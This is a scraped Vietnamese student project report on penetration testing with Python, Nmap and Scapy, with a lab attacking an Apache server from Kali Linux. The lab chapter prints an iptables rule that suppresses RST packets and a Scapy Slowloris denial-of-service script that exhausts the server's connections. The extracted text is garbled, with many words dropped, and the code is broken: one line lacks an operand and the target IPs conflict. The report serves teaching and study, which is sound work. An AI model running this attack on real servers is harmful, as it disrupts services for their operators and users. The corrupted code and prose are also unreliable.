1. Trang chủ
  2. » Công Nghệ Thông Tin

Kiểm thử trên python pentest with python

46 4 0

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

BỘ GIÁO DỤC VÀ ĐÀO TẠO TRƯỜNG ĐẠI HỌC CÔNG NGHỆ TP HCM ĐỒ ÁN CƠ SỞ KIỂM THỬ TRÊN PYTHON Ngành Công nghệ thông tin Chuyên ngành An toàn thông tin Giảng viên hướng dẫn x Sinh viên thực hiện y MSSV x Lớp.

BỘ GIÁO DỤC VÀ ĐÀO TẠO TRƯỜNG ĐẠI HỌC CÔNG NGHỆ TP HCM ĐỒ ÁN CƠ SỞ KIỂM THỬ TRÊN PYTHON Ngành: Cơng nghệ thơng tin Chun ngành: An tồn thông tin Giảng viên hướng dẫn : x Sinh viên thực MSSV: x :y Lớp: x TP Hồ Chí Minh, 2022 LỜI CẢM ƠN Em xin bày tỏ lòng kính trọng biết ơn đến thầy y tận tình giúp đỡ hướng dẫn em hồn thành báo cáo Nhờ giúp đỡ nhiệt lòng thầy mà báo cáo hoàn thành tiến độ đề Với hiểu biết tìm tịi thân bảo hướng dẫn tận tình giảng viên em cố gắng hoàn thành đồ án cách tốt khơng thể tránh thiếu sót Kính mong nhận đóng góp ý kiến từ thầy để em nâng cao bổ sung thêm kiến thức cho thân, hoàn thiện đồ án với kết tốt hoản chỉnh Em xin chân thành cám MỤC LỤC Chương TỔNG QUAN 1.1 Giới thiệu 1.2 Nhiệm vụ đồ án .3 1.3 Cấu trúc đồ án Chương CƠ SỞ LÝ THUYẾT 2.1 Kiểm thử 2.1.1 Tổng quan 2.1.2 Kiểm thử gì? 2.1.3 Hiểu rõ Kiểm thử 2.1.4 Các hình thức Kiểm thử 2.1.5 Tại cần Kiểm thử? 10 2.1.6 Điểm yếu Kiểm thử 12 2.1.7 Quy trình Kiểm thử 13 2.1.8 Các công cụ kiểm thử phổ biến .14 2.2 Ngôn ngữ lập trình Python 19 2.2.1 Lịch sử hình thành 19 2.2.2 Các khái niệm .20 2.2.3 Các thư viện 23 2.2.4 Sử dụng hàm Python .24 2.3 Python kiểm thử 25 2.3.1 Công cụ Nmap 25 2.3.2 Công cụ Scapy 29 Chương KẾT QUẢ THỰC NGHIỆM 32 3.1 Chuẩn bị 32 3.2 Nội dung .32 Chương KẾT LUẬN VÀ HƯỚNG PHÁT TRIỂN 42 4.1 Kết luận 42 4.1.1 Ưu điểm 42 4.1.2 Nhược điểm 43 Tài liệu tham khảo .44 Chương TỔNG QUAN 1.1 Giới thiệu Kiểm thử kiểm tra tiến hành để cung cấp cho bên liên quan thông tin chất lượng sản phẩm dịch vụ kiểm thử Kiểm thử cung cấp cho doanh nghiệp quan điểm, cách nhìn độc lập phần mềm để từ cho phép đánh giá thấu hiểu rủi ro trình triển khai phần mềm Đồ án giới thiệu cho biết kiểm thử python kiểm thử 1.2 Nhiệm vụ đồ án Tìm hiểu kiểm thử, lý thuyết bản, khái niệm liên quan Tìm hiểu cách sử dụng công cụ dùng để kiểm thử Mục đích kiểm thử Python kiểm thử 1.3 Cấu trúc đồ án Đồ án gồm có chương: - Chương 1: Tổng quan Phần giới thiệu tổng quan, nhiệm vụ đồ án, giúp hiểu nội dung đồ án - Chương 2: Cơ sở lý thuyết Phần giới thiệu cụ thể kiểm thử, ngơn ngữ lập trình python, kiểm thử python khái niệm có liên quan Tìm hiểu cơng cụ sử dụng cho mục đích kiểm thử python - Chương 3: Kết thực nghiệm Phần cho thấy mơ hình mục tiêu úng dụng, giới thiệu cơng cụ để thực đưa cách phòng chống/ngăn chặn - Chương 4: Kết luận hướng phát triển đồ án Phần rút lưu ý lời khuyên sử dụng kiểm thử python đưa hướng phát triển để giao thức hoàn thiện Chương CƠ SỞ LÝ THUYẾT 2.1 Kiểm thử 2.1.1 Tổng quan Có quan niệm sai lầm lớn kiểm thử Điều phổ biến chuyên gia tham gia vào lĩnh vực Những người kiểm tra thâm nhập chuyên gia yêu cầu kiểm tra thâm nhập thường nói việc kiểm tra chứng minh khả khai thác lỗ hổng, dễ bị khai thác môi trường diện lỗ hổng Sự hiểu lầm thể thành tác động thực cam kết chúng xác định phạm vi, nguồn gốc tiến hành Hơn nữa, nhận thức sai lầm bao gồm suy nghĩ kiểm tra thâm nhập tìm thấy tất lỗ hổng, tất mục tiêu đáp ứng biện pháp kiểm soát đưa Định nghĩa tập trung vào lỗ hổng, điều có nghĩa người mong đợi hoạt động mà người đánh giá thực có liên quan đến việc khai thác tìm lỗ hổng cấu hình sai đơn giản Nó khơng tính đến hành động sai liên quan đến sách, quy trình mối quan hệ khơng an tồn mà tổ chức có Những định kiến thường có tác động đáng kể sau tổ chức người đánh giá Lãnh đạo tổ chức không tạo mục tiêu liên quan đến việc vi phạm kiểm soát truy cập liên quan đến kho liệu quan trọng xác định vị trí liệu quan trọng Cũng có niềm tin ban đầu Intrusion Protection Systems (IPS) Intrusion Detection Systems (IDS) sở cốt lõi để ngăn chặn mối nguy hại, tất người đánh giá có kinh nghiệm biết điều khơng Ngồi ra, đánh giá khơng xác định phạm vi theo cách mang lại kết thực tế Kết tai hại nhầm lẫn tổ chức khơng xác định người đánh giá thiếu kỹ cần thiết để thực cam kết bắt buộc 2.1.2 Kiểm thử gì? Pentest, viết tắt penetration testing (kiểm tra xâm nhập), hình thức đánh giá mức độ an toàn hệ thống IT công mô thực tế Hiểu đơn giản, pentest cố gắng xâm nhập vào hệ thống để phát điểm yếu tiềm tàng hệ thống mà tin tặc khai thác gây thiệt hại Mục tiêu pentest giúp tổ chức phát nhiều lỗ hổng tốt, từ khắc phục chúng để loại trừ khả bị công tương lai Người làm công việc kiểm tra xâm nhập gọi pentester Pentest thực hệ thống máy tính, web app, mobile app, hạ tầng mạng, IoT, ứng dụng hạ tầng cloud, phần mềm dịch vụ SaaS, API, source code, đối tượng IT có kết nối với internet có khả bị cơng… phổ biến pentest web app mobile app Những thành phần gọi đối tượng kiểm thử (pentest target) Khi thực xâm nhập, pentester cần có cho phép chủ hệ thống phần mềm Nếu khơng, hành động xâm nhập coi hack trái phép Thực tế, ranh giới pentest hack cho phép chủ đối tượng Vì thế, khái niệm pentest có ý nghĩa tương tự ethical hacking (hack có đạo đức), pentester cịn gọi hacker mũ trắng (white hat hacker) Để hiểu rõ Pentest, ta cần hiểu rõ ba khái niệm bảo mật “vulnerabilities”, “exploits”, “payloads”  Lỗ hổng (vulnerabilities) điểm yếu bảo mật phần mềm, phần cứng, hệ điều hành, hay ứng dụng web cho phép kẻ công sở để công hệ thống Lỗ hổng đơn giản mật yếu, hay phức tạp lỗ hổng SQL tràn nhớ đệm  Khai thác (exploits) hành động lợi dụng lỗ hổng, cố hay lỗi phần mềm, đoạn liệu hay chuỗi lệnh nhằm gây hành vi bất thường không mong muốn xảy hệ thống máy tính Những hành vi bao gồm leo thang đặc quyền, đánh cắp thông tin nhạy cảm, công từ chối dịch vụ, v.v  Trọng tải (payloads) phần hệ thống tồn lỗ hổng mục tiêu để khai thác 2.1.3 Hiểu rõ Kiểm thử Đánh giá lỗ hổng bảo mật Vulnerability Assessments (VA) sử dụng VMS để quét lỗ hổng Các VA tốt sau sử dụng chuyên gia đánh giá để loại bỏ kết dương tính giả, sau xếp hạng rủi ro thực tế phát điều chỉnh sở tác động kinh doanh khả bị khai thác Thông thường nhà tư vấn bảo mật người kiểm tra thâm nhập thực đánh giá này, yêu cầu khai thác thực tế lỗ hổng để có chứng khái niệm Loại đánh giá tốt thấy tổ chức thực tốt việc vá lỗi triển khai nội dung cấu hình an tồn Mấu chốt kiểu đánh giá không tập trung vào việc đạt quyền truy cập vào liệu quan trọng từ quan điểm tác nhân độc hại, mà thay vào liên quan đến việc tìm kiếm lỗ hổng Reverse phần thử nghiệm thâm nhập, ngày nhiều so với trước Các thử nghiệm thâm nhập bao gồm phát triển khai thác, thực để tạo chứng khái niệm liên quan đến mã nhà vườn giành quyền truy cập vào hệ thống quan trọng nơi liệu cư trú Ngược lại, cam kết đảo ngược quy mô lớn, người đánh giá cố gắng chứng minh tính dễ bị đảo ngược tổng thể ứng dụng điểm yếu liên quan đến mã nguồn, biên dịch thư viện liên quan Những loại tương tác phù hợp với kỹ sư đảo ngược, người dành thời gian xác định chuỗi phương pháp công phổ biến để xâm phạm ứng dụng, thay giành quyền truy cập vào liệu quan trọng Mức độ kinh nghiệm lĩnh vực cụ thể rộng rãi Thông thường, nhiều người đánh giá chuyển từ thử nghiệm thâm nhập sang kỹ cụ thể này, nơi họ thực đảo ngược toàn thời gian xét flag đề cập trước vị trí có liên quan để sử dụng chúng Thứ hai, Scapy nhận phản hồi cho gói gửi đi, flag biểu diễn bit nhị phân định dạng bát phân bát phân thứ 13 TCP đầu trang Vì vậy, Phải đọc phản hồi dựa thông tin Nhìn vào bảng sau, biểu thị giá trị vị trí nhị phân flag thiết lập: Flag CWR ECE URG ACK PSH RST SYN FIN Position 128 64 32 16 Value Set When Vì vậy, đọc phản hồi từ gói TCP tìm kiếm loại cờ, phải tính tốn Bảng trước giúp đơn giản hóa việc cho bạn, lưu ý làm việc với tcpdump tài liệu truyền giống hệt Ví dụ, tìm kiếm gói SYN, thấy giá trị octet thứ 13 Nếu SYN + ACK, giá trị 18 Chỉ cần thêm giá trị cờ lại với có tìm kiếm Điều cần ghi nhớ cố gắng ping giao diện loopback localhost, gói tin không tập hợp Điều kernel chặn yêu cầu xử lý nội thông qua ngăn xếp TCP/IP hệ thống Đây lỗi khiến người gặp khó khăn với Scapy thường bỏ Vì vậy, thay đào sâu vào việc sửa chữa gói tin để chúng công phiên Kali, tạo Metasploitable thử kiểm tra cổng mặc định 29 Chương KẾT QUẢ THỰC NGHIỆM 3.1 Chuẩn bị  Máy công: Kali linux 192.168.254.134  Máy nạn nhân: Ubuntu 192.168.254.183 Cài đặt dịch vụ Web server Ubuntu #apt install apache2 Trên Kali linux cài đặt scapy python #apt install scapy #apt install python3 3.2 Nội dung Xem kết nối mạng Ubuntu #watch "netstat -pant" 30 Sẽ thấy danh sách kết nối mạng cập nhật liên tục, hiển thị bên Hiện tại, kết nối ESTABLISHED, có q trình lắng nghe Truy cập apache địa IP Ubuntu trình duyệt Lúc này, xem lại kết nối mạng lần thấy kết nối ESTABLISHED với máy chủ cổng cục 443 HTTPS 80 HTTP, hiển thị 31 Chặn gói RST máy Kali linux Trên máy Kali, mở cửa sổ Terminal Trong cửa sổ Terminal, thực lệnh này: #iptables -L Nếu thấy quy tắc phần OUTPUT có DROP gói tin RST, tường lửa định cấu hình xác Nếu khơng có, thực lệnh để thêm: #iptables -A OUTPUT -p tcp tcp-flags RST RST -j DROP Tạo chương trình bắt tay máy kali linux Trong cửa sổ Terminal, thực lệnh sau: 32 #nano handshake.py Trong cửa sổ nano, nhập (hoặc chép dán) tập lệnh này: #!/usr/bin/env python3 import sys from scapy.all import * IPclient = sys.argv[1] i = IP() i.dst = IPclient print ("IP layer prepared: ", i.summary()) t = TCP() t.sport = 2000 print ("Sending TCP SYN Packet: ", t.summary()) ans = sr1(i/t) print ("Reply was: ",ans.summary()) t.seq = ans.ack t.ack = ans.seq + t.flags = "A" print ("Sending TCP ACK Packet: ", t.summary()) ans = sr(i/t/"X") Hình ảnh Script 33 Lưu tệp Ctrl + X , Y , Enter Trong cửa sổ Terminal, thực lệnh #chmod a+x handshake.py #./handshake.py 192.168.254.175 2000 Trên máy Ubuntu lúc thấy kết nối từ cổng cục 80 đến cổng từ xa 2000 xuất Lúc đầu, trạng thái ESTABLISHED, nhanh chóng chuyển sang trạng thái FIN-WAIT, hiển thị bên trang Xem trạng thái máy chủ máy Ubuntu, cửa sổ Terminal mới, thực lệnh này: #firefox 192.168.254.183/server-status 34 Sẽ thấy trang trạng thái máy chủ Apache, có yêu cầu xử lý, hiển thị bên trang này: Tạo chương trình cơng Slowloris Trên máy Kali Linux, cửa sổ Terminal, thực thi lệnh này: #nano slowloris.py Trong cửa sổ nano, nhập (hoặc chép dán) tập lệnh #!/usr/bin/env python3 import sys from scapy.all import * IPclient = sys.argv[1] numgets = int(sys.argv[2]) print ("Welcome to Slow Loris Attack with scapy!") print ("Attacking ", 3000, " with ", numgets, " GETs") 35 i = IP() i.dst = IPclient print ("IP layer prepared: ", i.summary()) for s in range(3000, 3000+numgets): t = TCP() t.sport = s ans = sr1(i/t, verbose=0) t.seq = ans.ack t.ack = ans.seq + t.flags = "A" get = "GET / HTTP/1.1\r\nHost: " + "3000" ans = sr1(i/t/get, verbose=0) print ("Port ", s, " attacked!") print ("Done!") Hình ảnh Script: Chương trình giống với handshake.py Các thay đổi gửi HTTP GET lần, khơng đầy đủ thiếu ký tự xuống dòng cuối nguồn cấp liệu dịng lặp lại qua nhiều cổng nguồn Trên máy Ubuntu, cửa sổ Terminal, thực lệnh 36 #chmod a+x slowloris.py #./slowloris.py 192.168.254.175 n Với n số lần gửi Trên máy Ubuntu, cửa sổ Firefox, nhấp vào nút Refesh vài giây lần Lưới lấp đầy chữ cái, công sử dụng tất kết nối có sẵn Như hình đây: 37 Và hình ảnh kết nối mạng vào Ubuntu 38 Chương KẾT LUẬN VÀ HƯỚNG PHÁT TRIỂN 4.1 Kết luận 4.1.1 Ưu điểm Tính hiệu công việc Ưu điểm lớn kiểm thử tự động thay người lặp lặp lại quy tắc bước kiểm thử nhàm chán, mệt mỏi, không cần xin phép đột suất cần, khơng làm việc ảnh hưởng đến q trình test => tránh hao phí mặt thời gian Độ tin cậy Với script chuyên nghiệp, Execute thành cơng nhận kết yên tâm chạy với yêu cầu Dù lặp lặp lại nhiều lần cho kết giống độ ổn định cao, tránh rủi ro phát sinh Ngồi ra, kiểm thử tự động cịn giúp tái bug cách hiệu quả, bug xảy hay xảy cách ngẫu nhiên repdure cách dễ dàng nhờ việc lưu lại bước cách tự động Cải thiện chất lượng Kiểm thử tự động làm giảm rủi ro mặt chất lượng sản phẩm, việc kiểm thử thực cách nhanh chóng, khơng gây mệt mỏi, tránh trường hợp chủ quan cho trường hợp test hồi quy, retest, test tồn hệ thống Có thể tái sử dụng trường hợp kiểm thử Tốc độ xử lý cực nhanh Nếu bạn phút để kiểm thử thủ cơng cần 30s sử dụng kiểm thử tự động, công việc bạn "Run" ngồi chờ kết quả, giúp bạn chạy liên tiếp nhiều case Chi phí thấp 39 Việc rút ngắn thời gian tiết kiệm nhân lực giúp cho việc kiểm thử tự động trở nên hiệu Hỗ trợ export nhiều ngôn ngữ phổ biến Ruby, Java, Python… 4.1.2 Nhược điểm  Chi phí cao: Thơng thường, phí triển khai Pentest tính theo ngày làm việc kỹ thuật viên (Pentester)  Mất chi phí cho cơng cụ tự động hóa quyền, bảo trì, tìm hiểu, training  u cầu người có trình độ chun mơn cao thực  Làm ảnh hưởng tới trình cung cấp dịch vụ quan trọng thực Pentest thiếu chuyên nghiệp, điều gây thiệt hại nhiều cho công ty  Khó thực Pentest hệ thống cũ, bao gồm nhiều stack công nghệ chồng chéo lên 40 Tài liệu tham khảo [1] http://packetstorm.linuxsecurity.com/papers/general/blackmagic.txt [2] http://wikihead.wordpress.com/2011/01/09/packet-crafting-using-scapy/ [3] http://blog.facilelogin.com/2010/12/hand-crafting-tcp-handshake-with-scapy.html 41 ... cho biết kiểm thử python kiểm thử 1.2 Nhiệm vụ đồ án Tìm hiểu kiểm thử, lý thuyết bản, khái niệm liên quan Tìm hiểu cách sử dụng công cụ dùng để kiểm thử Mục đích kiểm thử Python kiểm thử 1.3... 2.1 Kiểm thử 2.1.1 Tổng quan 2.1.2 Kiểm thử gì? 2.1.3 Hiểu rõ Kiểm thử 2.1.4 Các hình thức Kiểm thử 2.1.5 Tại cần Kiểm thử? ... sở lý thuyết Phần giới thiệu cụ thể kiểm thử, ngơn ngữ lập trình python, kiểm thử python khái niệm có liên quan Tìm hiểu cơng cụ sử dụng cho mục đích kiểm thử python - Chương 3: Kết thực nghiệm

Ngày đăng: 01/11/2022, 11:09

Xem thêm:

w